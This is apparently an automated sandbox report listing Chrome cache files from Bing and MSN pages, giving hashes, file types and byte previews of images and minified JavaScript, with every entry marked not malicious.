SHA-256:	5CBDA906C7DB6D50C7E200D73841A7BB7404BCFF1B3C9121AA5BC79DBC608B9A
SHA-512:	2292945B9F53D495B9845CDE7FDDDC6890EDBF00262314691BDC609D81DD6521AD3BB687766A2291077A1848EF49BD04A430C96503EB3254DAD6E932963C9ABD
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/sa/simg/favicon-trans-bg-blue-mg-png.png
Preview:	.PNG........IHDR... ... .....D......9PLTEGpL.n..n..p..n..n..m..p..p..n..o..o..n..o..n..o..n..n..n...T....tRNS... ..@.................IDAT8.....0.D.gZ.....5..x.t.YM...r(.....)...O-._.R..r#...[O.o..e.\......(...h..}...h.=.?_Q...#..Iu!o6.u.-....W.0......aT..Ai...........A?.~..t.q....V......IEND.B`.

Chrome Cache Entry: 587

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 32, 16-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	2652
Entropy (8bit):	7.884709708562161
Encrypted:	false
SSDEEP:	48:javK4OjNcIpDuhI/hQcktCY6np7Rad4iB+sWNEFMm0483DYqTNcw+Cg8oUvQ9hpB:uvMFpDSI/hS6npE4iks0x4KPGwnZQ9h3
MD5:	5AB91626593CEE8F79A724655354F70A
SHA1:	F6BA164760F978FB493330FDB5B6844AF3B6257C
SHA-256:	BB0CEB73EF7F49DBC91DC80467CECA366DCEC34D8B8B45F4983281CC98F9AE11
SHA-512:	1DA37EBA980A70B695071061E9003D36AAE6D8D64FEEDEA481949B11EF63D4E52D0D29A62B3CABB33859BBF3E74A2769DA6F01D0DEE458F016BF8668BCD726C5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\|... ......E.:...#IDATx..n.>../....~-......G(ba.. u.C.+.j..JH..A.N........F.u........YQ...9...qns%..#M.....\|y0@..^[...X..sS......c..3....7....GG....[].....4.^7...g}..}...~......w.....d.....9/.x...c[...I.....i.~7.$....f.....%..9.v.......Nx.........`.M....o.....4..............^...7.7.l?~?......w..xnn0.u..;...33Z.\|..oY......=..W...iv\.`Js.ek.4...........h..gZ.+".)&d.K`...d...A.H.....p..=.}.X..'.m.w.~.>.M30........O./.yV..?..5I.....Q..?\E..3.>H....hq.X........x0..Fj..H.Cy......d b.(..2m.......l...%9..Uu..}.d_..y..Z....m..C....j..k..y....<........paa8L...y3....{".%....o....._O.p.hd.oilWu..T......a....:..-6..@....S.p.^.3....R''.....q.KH.<.../..?.:m.WV..].k........lN...9...1..">.s...{..B....n{P.....^\ll...a@n&.. l....[.._....S..X...{.+...`..~.+.........T....~.....q..>.Z.=)+.a........f&.+uu......j.h....~..a..[...c...j8..._...^.n5.M..u.J.\|Z}.`....g.h....J....w....{.~R..T...]N.A...M.N.n..id.>.W...xY.rl/...\..\W9^=...~..

Chrome Cache Entry: 588

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3453
Entropy (8bit):	7.8544077851219125
Encrypted:	false
SSDEEP:	96:8zgE8ppp9o0FhGBB8NwnzigBX+ouc72Q4dHG:ygvpZABBH72Q6m
MD5:	BAD130729454555FA85F723AC455481F
SHA1:	0BC3FD4147C874F5E1A74F3E78C5DF85106F8506
SHA-256:	F3C57FF77DCF3796E95481C24D4302F6820DC0AAE9B68684BB978F6C085C4BA1
SHA-512:	7018ECFDDB2687DC6B970035736C7B57E0ED0CD82BABA3EF2108C1B49B44FAE8421126CB795964FA713BE0E7D638335CAEA60E010B9A8E391BBA3238DD213EEA
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_QZLRQwMqDdLJxUgKiO3dyw&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..'4g...a.....I..7.E.PqF.bP...J.H.IN...X...Q.OK.V.^..e...K4...Gs......E..N9.V.It,."..22.....=Mx..5......2.c.>..;......ld)..z.[.~..iXj.j.2.$N. . .......Ak,H..\|.%..I..h.. .#.......I.N....MB.IvD..R-.i.fT....}ps..'......U.2..Z..O...5..#c.#..Z.?...#..8.!.O...5....c....Q:u".9.......!..5..(.^........z..5_mF5;....U.N.D.....IN....J(...B(....g.......bJ...A.Kin

Chrome Cache Entry: 589

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20049), with no line terminators
Category:	downloaded
Size (bytes):	20049
Entropy (8bit):	5.197395310029793
Encrypted:	false
SSDEEP:	384:hAmL9pK5FEuLExhGZeDkN6707b+ah7XAIUIhyYv6dtl8xol9IK/tfaUho:hAmLfK5WuLEbGZeR707b+aTR4wwl8xoK
MD5:	10CE2F0202334756D5B63C739BD0D21C
SHA1:	E1E78C6AE4D0CF2260038E68488226422C56AD32
SHA-256:	7F09A5243D84E6CE04872760D9ABB280AD2BFF9967E933B1F013224A0CA56118
SHA-512:	F04215741C20BF3B6818665FAEA578B385AC623BFDFBD7340842E537D6B176C615FEF187791A551F4B75CD0CE208F9533639ECAA8444EADF9843B096A0AC5DA8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/social-bar-coachmark-manager.54febbb979ccbe9afe99.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["social-bar-coachmark-manager"],{13757:function(t,e,o){o.r(e),o.d(e,{SocialBarCoachmarkManager:function(){return _}});var n=o(33940),i=o(84486),a=o(86331),r=o(97555),l=o(65453),c=o(71219);const s=864e5;var d=o(49218),u=o(28904),m=o(42590),g=o(78923),f=o(69178);let h=class extends u.H{constructor(){super(...arguments),this.description=""}get coachmarkText(){return this.description.replace("{0}",(0,f.T)("ThumbUpvote","regular","20px")).replace("{1}",(0,f.T)("ThumbDownvote","regular","20px"))}};(0,n.gn)([m.Lj],h.prototype,"description",void 0),h=(0,n.gn)([(0,u.M)({name:"social-bar-coachmark-body",styles:g.i`svg { fill: currentcolor; position: relative; top: 3px; }`,template:d.dy`${t=>d.dy`${d.dy.partial(t.coachmarkText)}`}`})],h);var p,v,C,D,S,P=o(56692);!function(t){t.Above="Above",t.Below="Below",t.Left="Left",t.Right="Right"}(p\|\|(p={})),function(t){t.Adjacent="Adjacent",t.C

Chrome Cache Entry: 590

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	4.7183372945791175
Encrypted:	false
SSDEEP:	12:6v/7exe9QVsVsyPXSF/yC9H9eAWw0uac+5SsciTpvFwf8abKP3LRkP06yfor/y1J:aYsOyPCFBPHac+Esc0w0abeL+PhyQw
MD5:	01F55EF8E6EE276794A2FA5712D40347
SHA1:	0B6B137463DC897215ECAA2810C793AF4DADC1AF
SHA-256:	AC394B126F99224EF9FD7B9A98C02FA22E41146B2534CA789BF7567C528BB322
SHA-512:	7253EAA00E10BEDD6B9E41FDB826F241ACFA7F0CC11BFB0B775B9E99104373388B07EAE0525B2023FC796FEF02A8CD63E929DFACC3AC4B052D061CF2B5E99B97
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....XIDATx.mS.K.a.=...A"aKJ....P........4. TC. .6....NB.S....... ..W......{.KOJ]...}.=.{.y$...~..p...7.Q.T.........M&....xyy..k.Z....obbb......!...XQ.VC.P@.....5&''......hV(.........T.f....."'...>.........O.L&X,.P.......!.Jquu...#(.J....R..\.....1==.E'''....*:...>??38!....V..l6!.H......G.q}}.....D...+........A..!..1#.L.....}.........._......`....F.e>..g.....`~~^.......P....(.=X.V.B...7.........gggH..h.Z\LN...E$...G.....z.4;Y8....t.\.s..`..h.F..^...F..\...5..A..U,.Q.T`...d@k.o.....8...f....v..~.Z....R.....&..,{@..cgg.....)...dYz4$...9.yaa................. @...nll.v...yF.11#.^...$H..f.......J...7{.....IEND.B`...................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 591

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	11890
Entropy (8bit):	7.92923219425028
Encrypted:	false
SSDEEP:	192:eoHSUWXAq0aXxLdF/Erfhng+6gvfpZT67z+pWlfBOipMi8gHVb1ynb8viVodJXk7:eoyUWXA1MLdIZg+JfpqlfMinVb1yYv5c
MD5:	8FEE502ABB728FA98532B79DAB21D0B8
SHA1:	E0C77A2ACFE5A0285735AC8812FD34C62AB0286C
SHA-256:	23CA2B517A5121DC339C38CF0387056A9E37179A7FDF692009F2551D5EE45955
SHA-512:	B4669BEDD58BA643939F79D57E0CF31CD4C73FAD76AEB009E909115BC2A74AE4156E1556A7ED79AAA6FE8DED347AE3836EFB28276D438D1C669EF16A98509995
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.54a6c94cd7745a45f65f5ef894d8f802&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..3$1;.OZ7.i.J:.a....=h..Q....+..4o4.\..P...E2..qs...4....>.. .(.}(.4S.n9......2..c...S..b>..L..4o......F..E.?{z.].{S../..Z.....K..S0J...............H.r:z..T.7..0.<..~u..].q....@5.j.O52.?V.<...j.o...j.3...h.........F.....S...R.W(....d..G....+.Ks..*...->V+.K.xC....A.Z..(...}..lR..>.....`.U.7=U..u...R=/..].#.~.............zQ.zP......;...........

Chrome Cache Entry: 592

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	395697
Entropy (8bit):	5.91590407182338
Encrypted:	false
SSDEEP:	6144:EF31/DZV2feDPlwk0gXFjRdQD8g3DpiUuEv:g1/T2GDbXTDgjB
MD5:	B54ADBC21E9E3AED86E1DDDE37C5CA97
SHA1:	4BBEDE66F8265117D5AECF21C9433643D5A792F7
SHA-256:	AE20917774D90D41E06253B61F72DB157F25A3CF44150AA3BB6780536260CC80
SHA-512:	5613E3E67FD5BBDD281E96AA20C850B08713EBB6AD181D8B7B935C622E0B8A7B5D6979CD43624D447345D14A426999BD0932C513B3C1FC9CBF49CDE2F608E5EF
Malicious:	false
Reputation:	unknown
Preview:	var __assign=this&&this.__assign\|\|function(){return __assign=Object.assign\|\|function(n){for(var t,r,i=1,u=arguments.length;i<u;i++){t=arguments[i];for(r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r])}return n},__assign.apply(this,arguments)},__rest=this&&this.__rest\|\|function(n,t){var u={},r;for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&t.indexOf(i)<0&&(u[i]=n[i]);if(n!=null&&typeof Object.getOwnPropertySymbols=="function")for(r=0,i=Object.getOwnPropertySymbols(n);r<i.length;r++)t.indexOf(i[r])<0&&Object.prototype.propertyIsEnumerable.call(n,i[r])&&(u[i[r]]=n[i[r]]);return u},__spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))},__awaiter=this&&this.__awaiter\|\|function(n,t,i,r){function u(n){return n instanceof i?n:new i(function(t){t(n)})}return new(i\|\|(i=Promise))(function(i,f){functi

Chrome Cache Entry: 593

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10033), with CRLF line terminators
Category:	downloaded
Size (bytes):	12933
Entropy (8bit):	5.214423450434363
Encrypted:	false
SSDEEP:	192:VbgMOzLnhnvZ1czzHT3L0SKZp2NbltyQEZxAk/MI7hBMDIkFi2o6XJalZW:9OZrSzz3wp0OxAmJjEl
MD5:	3E1CD65B12888A023F899069EB6FD830
SHA1:	5DC4BB155BEB355755C78FA0D991C45696497794
SHA-256:	B8BB4D94B0FCFECEAE541A257DEA9BC8F598C2E008BEB857274607868BA3FB10
SHA-512:	4EBCDE6C74FD61AD31560DEE7014EEC65B7618D53572C615CFD77F1D3B7F485D3FF95C0B3F5AA52CBB1EEE41F6A23F5253B076CF2C032FD5284C6B63BF64D4B4
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/XcS7FVvrNVdVx4-g2ZHEVpZJd5Q.js
Preview:	0;..;..!function(n,l){"object"==typeof exports&&"undefined"!=typeof module?l(exports):"function"==typeof define&&define.amd?define(["exports"],l):l(n.preact=n.preact\|\|{})}(this,function(n){if(n.render){return;} var l,u,i,t,o,f,r,e={},c=[],s=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|grid\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord\|itera/i;function a(n,l){for(var u in l)n[u]=l[u];return n}function v(n){var l=n.parentNode;l&&l.removeChild(n)}function h(n,l,u){var i,t,o,f=arguments,r={};for(o in l)"key"==o?i=l[o]:"ref"==o?t=l[o]:r[o]=l[o];if(arguments.length>3)for(u=[u],o=3;o<arguments.length;o++)u.push(f[o]);if(null!=u&&(r.children=u),"function"==typeof n&&null!=n.defaultProps)for(o in n.defaultProps)void 0===r[o]&&(r[o]=n.defaultProps[o]);return y(n,r,i,t,null)}function y(n,u,i,t,o){var f={type:n,props:u,key:i,ref:t,__k:null,__:null,__b:0,__e:null,__d:void 0,__c:null,constructor:void 0,__v:o};return null==o&&(f.__v=f),null!=l.vnode&&l.vnode(f),f}function p(n){return n.children}function d(n,l){this.props=n,this.context

Chrome Cache Entry: 594

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	469
Entropy (8bit):	4.629787805928795
Encrypted:	false
SSDEEP:	12:trrzSuoUAMHYJzB3zik04HS0u0fzgOOqiN75qAMP:tfzScAM4JzFukJNu07gVN7I/
MD5:	472185A4E75B520DC563EF944EA414D1
SHA1:	ABCF5A6CC96DE0FC06C3E61B524CEA7B179797DB
SHA-256:	5BEC0E52B149217FBFB5973B131F98012BFF1FEE2A9B1C5B37F1DC01A0011265
SHA-512:	0FB5E92715C722B81DE7EA34CCDEE65FD56BB4BF9FB2C1D5D255BCB6AC82C33B1B9AFA34E980FB6067C16E99C88A35C56D51345DE36A99B020F349E9F17F1D59
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/NoColor_Card/rightArrow.svg
Preview:	<svg width="7" height="12" viewBox="0 0 7 12" class="weather-arrow-glyph" xmlns="http://www.w3.org/2000/svg">.. <path d="M0.528512 0.861886C0.268165 1.12224 0.268165 1.54435 0.528512 1.8047L4.72379 5.99996L0.528512 10.1952C0.268165 10.4556 0.268165 10.8777 0.528512 11.138C0.788865 11.3984 1.21097 11.3984 1.47133 11.138L6.13799 6.47136C6.39832 6.21103 6.39832 5.78889 6.13799 5.52856L1.47133 0.861886C1.21097 0.601539 0.788865 0.601539 0.528512 0.861886Z"/>..</svg>..

Chrome Cache Entry: 595

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.1426352870909255
Encrypted:	false
SSDEEP:	24:tDbU/vj3Dx8DDolDLN9wBWUyDa8uz5fCMe4I/76GVf8wz1vVsG4Iu5Tz1mH38zRO:y/b9EolDLf6WUmUzhvr+76GLz16Jk8tO
MD5:	5E834A775C3B3F93F83F7C48E5286257
SHA1:	7F6D63952326103378DCE69ABDC75A07EECF86AD
SHA-256:	006563DB23523A6369D81FCFA6F3515F0317CF651D74024635D2BFBE694779B8
SHA-512:	D575CF4076626957D2AF68EF808930910969244E989CDB770CE303900471A52ACCC36F52D1C0B1E7605AA4A5DD92ED1DC0540605CAC60C7317E27B7BD2C0EBEE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/f21jlSMmEDN43OaavcdaB-7Phq0.svg
Preview:	<svg fill="none" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path d="m19.6667 0c2.3932 0 4.3333 1.94011 4.3333 4.33333v4c0 .55228-.4477 1-1 1s-1-.44772-1-1v-4c0-1.28866-1.0447-2.33333-2.3333-2.33333h-4c-.5523 0-1-.44772-1-1s.4477-1 1-1zm-15.33337 0c-2.39324 0-4.33333 1.94009-4.33333 4.33333v4c0 .55228.44772 1 1 1s1-.44772 1-1v-4c0-1.28866 1.04467-2.33333 2.33333-2.33333h4c.55228 0 1-.44772 1-1s-.44772-1-1-1zm15.33337 24c2.3932 0 4.3333-1.9401 4.3333-4.3333v-4c0-.5523-.4477-1-1-1s-1 .4477-1 1v4c0 1.2886-1.0447 2.3333-2.3333 2.3333h-4c-.5523 0-1 .4477-1 1s.4477 1 1 1zm-19.6667-4.3333c0 2.3932 1.94009 4.3333 4.33333 4.3333h4c.55228 0 1-.4477 1-1s-.44772-1-1-1h-4c-1.28866 0-2.33333-1.0447-2.33333-2.3333v-4c0-.5523-.44772-1-1-1s-1 .4477-1 1zm12-3.6667c2.2092 0 4-1.7908 4-4s-1.7908-4-4-4-4 1.7908-4 4 1.7908 4 4 4zm0-2c-1.1045 0-2-.8955-2-2s.8955-2 2-2 2 .8955 2 2-.8955 2-2 2zm-6-6.66667c.73639 0 1.33333-.59694 1.33333-1.33333 0-.73637-.59694-1.33333-1.33333

Chrome Cache Entry: 596

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	40547
Entropy (8bit):	7.971093469581666
Encrypted:	false
SSDEEP:	768:eGJq1i7WxbKVb1Cs42X9xTlgEK3B/5sE0kr+I4PFI8mYWqky+Mp4f6vhjqd:eGJq59kbZ3X9xTlTi/51br+I4PFu7I+Z
MD5:	6EFA59D7F7E9E6F4D2E8655894BF37DA
SHA1:	584B52AB0CA4C9892169D18BD278734E321E2359
SHA-256:	0D8121B0D722BB322596A32BFFD39B04C71F77641B2DA152F87D4A1283BC7C7A
SHA-512:	EFE74B203442858DA953C9D4A0B8762B0D4C37B96AA4D036A517CB0706BB1591280D24C16CABE10B721EF359AAEB99405630AB07DEDE36DFE5BE2A1394BC92A5
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...S.Z..j......Z..Ym.....D.`..T6..c .+...o....5_.x.kk.....h,..x.N$..y..T.D.+.pW>o&.<V.T.w.%.X.o,zlm.}..".(.<.B.X..b...u4z....-"...\...di]$F.8..U>Z.U...=_......g..:.O..Z}..-.W.... ...1@..nj.w..X[}VU...b{..3....2.D...7,..6:.#r.....^.t.C....his..sab.t...p.._#.*...G..5g.^#..5.C....5...j.Y$.4....0Db.BT....d..w.."..J..Hy.$./..@..vJ..Ui..ctI!....V-...o..k.....S

Chrome Cache Entry: 597

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4021
Entropy (8bit):	7.876050896981863
Encrypted:	false
SSDEEP:	96:8zgEto8lel12id3xybhdSs9pr0LjDk38EskDl:yg5CeL3xytIsfADkpJ
MD5:	4664BB9D224801CF85C7C8F12BC4AFA7
SHA1:	D97A9B590A77AA484C81BA4DCBFEF492EEAB1EE9
SHA-256:	F3126317CD4E3789CE1D3A54C8414EEDBF2C16B8688138A33DCCBBC5AAC6A085
SHA-512:	BB0CCC2242BA9D4EDDFFF4599C872683F92C4AF4FD091E60FE260C29286257C073D46582F5FFD62DCC962697CA861E1539438EF66E2AF606B531F6683B5FBE17
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_dqygWER8kwreOfODV2UJ0g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....eO.Q.Wm.K.l..V6.6...+m...NPv..E..^_.7o.O......h..}.._.X...........p ...b.).HR....i.T.).Qp+.{..........`....c..........h.i...}n..Z..m.MJ....ZH?.8..X.>...8.Y..C..'.....M}..`NA.r>!.V.?.....Dw....b2J...8..K.6..Z.6yIQ....H..Z..P..E..H..;...5..Z2..............{;.Wi..2............3..YZc).H.H.c.v..S....p..m...%.l...u_.?S.....Z..F.h......T.78.....].$\.@<..E..lb.

Chrome Cache Entry: 598

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 58 x 59, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5339
Entropy (8bit):	7.952386577766305
Encrypted:	false
SSDEEP:	96:M23YP+n5adWK8bvMEYxbGb+2htMaLTje1aHQZ0Q8wnP5OCRf2FJ0sT:MzP+5ofUkt+hBL2Yw2rwnhFgqI
MD5:	C49766495653BB160FE23C0303734B7B
SHA1:	0FE8447570BB1BE0E0BD5FED00AE01A1D599EE7A
SHA-256:	BC9DD5F6FB6506EAEDCC886C79B6C72BE115A72664C9EAA2B0F89CC04D63481E
SHA-512:	7E41B4163905A6C7578F0F0AC50542FE378C1F7B919A9DDEFA04BFAB13A612B9F1BC3229684C290087AC4E4F14511968FB4F1BE770EF9987114C98144CB6FC87
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...;..........IDATx..[y...u..3...^..j%D.....Y..#.!8....WH.`.e....@.)J..b...@...&&.6.c..K...b% .\...VZ.......^_.Z....j.\|=.=....=....0.-..>...f..]p......X../]...kj...!.5..8$(.A.E..e.....q.)..&Mj.3gN....i....f...??..xz....G............U.8..m..u..[a...\|n!c...2'...p`.,....X..8..Wj..R{.....c..N....}......=7.tS....(@..".k...Komo?o.../,..?......?.&....(..Z..D...3x-.pCT...../o.......U[<..1cL..<>0P.N._.P.2.7o.:..}......Z...7#6h......b.ag............R....p]...cxm_.^.T...@.....X{..F..P.?4..........c....f.....r.W..Hn.4.w..,.o.R.S.#.B.K..{.k...~.V./..A.L..F.n.<..I.Q....{.@.....%/.J....p<.x...._.#.s'.p.Y...........f.JdL.7.]..Do)........`....[......Bdv........>..?........>o..jy.q98.....H}.\|.."..H.RS..K..H\.t....J....=W.<..'.,YRCz..:....AR.....u.l....zm.1..1..zZ..9.G8....Z\|..Q!t?3..+I3..6R..5.......S........y.j+W.<*....I.......v.b.....pUg.VL.A...4P...n........}.....DBq.)...).KN.JW-...N.........-.....tS......._..-.F(I.y...E..

Chrome Cache Entry: 599

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1274
Entropy (8bit):	4.76866515748201
Encrypted:	false
SSDEEP:	12:6v/7ZA0RnsK88Dl3r5JCyJ3/M+yEoi1iwQfk/zOkKJFwmvAGaMIDgA3e66u/:sRsKtpr5JFJPMy3n/WrwxGazDgA3H
MD5:	BC2CA4C02D8330860D34A943488A7A45
SHA1:	EEB8859DE80E94571F7E906BDFAAFA9C98E493B7
SHA-256:	5CD4E73D22042B54B0648341D22DCE5E089F6ADAAD76FE70083CD545D36CD9C4
SHA-512:	335D1C0EEDC3235770F81CF37EF36649474B9A23E4D924EDD681A6BD8674A3A89E48B77AA788ED3ABEB6881884832D9F066B76486609CDE303EE3D61F7FA6FEC
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxfDD.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+.....?IDATx..SMK.Q.~4.......Z..B.i..@.....q.O. ...~..B..V...>tSY..@C.E0(.U!.w.x_.....9sf.y.9.....o.s.........F..Z....+.L&,..b}}.[[[.S..]..`0.`{{....L....t:\..ex<........D....p.....7.d.YT......i...".L"......d...(kkk....coo.....%xxx.^.G".@8.F..'.....<o0..@...L.........{~~..)...Uptt.@&..,J.Au.J%..,k......r.......f......u:....>??...D...YM&.:EI...f.\..h...%vvvH...H I...x\|\|....cV.....A(....lb<..v8..I...P............6+......1Q..!.......V.%.r9^..O.`IV.,..oE#.C...v..n.K.y@.j./.........\i..V.....kD.Q6M.'}..FZ....qrr...U.U..'.\|>...X,.3..\|...%D"..R)...h`..g.#.^y.2.C...%.."j.}....IEND.B`............................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 600

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	3002
Entropy (8bit):	7.833536357178525
Encrypted:	false
SSDEEP:	48:8/bxnuERAoybSsGTlkwxY+5fdOZayAC2ut6iUqL0fhk6nWBPo+bYsIgOc:8zgEDsSuwxTfdWAMMiPLL64H/Oc
MD5:	635B99CC3D81F6D2D059569E207B1438
SHA1:	C20B4152161B19224E75D4A546E1A0CB7748C571
SHA-256:	51D75FC490C239AD636FACB98A1A9E931BA3F41E3027A9A31E8856F924CA3C4A
SHA-512:	D9945634584B0294103B8D6FE63582E13FCEC6BA047FFE5DC01342A05197D86DED428BAE15888CFCBC20315B901699D00F8455F4325F1D47B0FB794A7E3A61E6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..@.....=R.X.~\.~..(.aR.?.T.."...J...9"...........M1.y..........W5. .J.H.$.:cGVJS...".EQ4\|U.Z...R.U..V.2.l..b. ".EL..0.U.M...Q.Zy...V.-.d..i......J{.Jf1V.h....nd....Y.;^%o.O..8..Yr.........^1{..L.reQ........okn.[....@$..NkW....../..9..sZi[.....Q.i..H.....4.;T.5f8)aOj....\|..EJ..a. ..G..5j;.]7.2:..yP...7;n...t.2.>..V.AU...F..Q.s9..Wx.Z,..].#.tFGL&.....Zu.P.....2+..

Chrome Cache Entry: 601

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (924), with no line terminators
Category:	dropped
Size (bytes):	924
Entropy (8bit):	5.195012633286773
Encrypted:	false
SSDEEP:	24:rVnoyfEzPHQFvG99rynERM93YGxSN+/sKE3p5vyNAM:rVnoyCkKgnCM9eBKE55vyj
MD5:	47442E8D5838BAAA640A856F98E40DC6
SHA1:	54C60CAD77926723975B92D09FE79D7BEFF58D99
SHA-256:	15ED1579BCCF1571A7D8B888226E9FE455ACA5628684419D1A18F7CDA68AF89E
SHA-512:	87C849283248BAF779FAAB7BDE1077A39274DA88BEA3A6F8E1513CB8DCD24A8C465BF431AEE9D655B4E4802E62564D020F0BB1271FB331074D2EC62FC8D08F63
Malicious:	false
Reputation:	unknown
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))};(function(){function n(n){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i]}function u(n,t){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];typeof Log!="undefined"&&Log&&Log.Log&&Log.Log.apply(Log,__spreadArray([i,n,t,!1],u,!1))}var t="acclink",i="acclink";if(sj_evt){sj_evt.bind("acclink:updated",function(t){if(t&&t.length>=2){var i=t[1],f=i.IsTenantAllowAccountLink,e=i.HasLinkedAccount;n("fire loadIdLinkIcon with acclink:updated ",t[1]);r(f,e);u("loadIdLinkIcon","load IdLinkIcon","params",t[1])}},1);function r(t,i){var r=_ge("id_linkicon");r&&(t&&i?(r.style.display="inline-block",n("show id link icon")):(r.style.display="none",n("hide id link icon")))}}})()

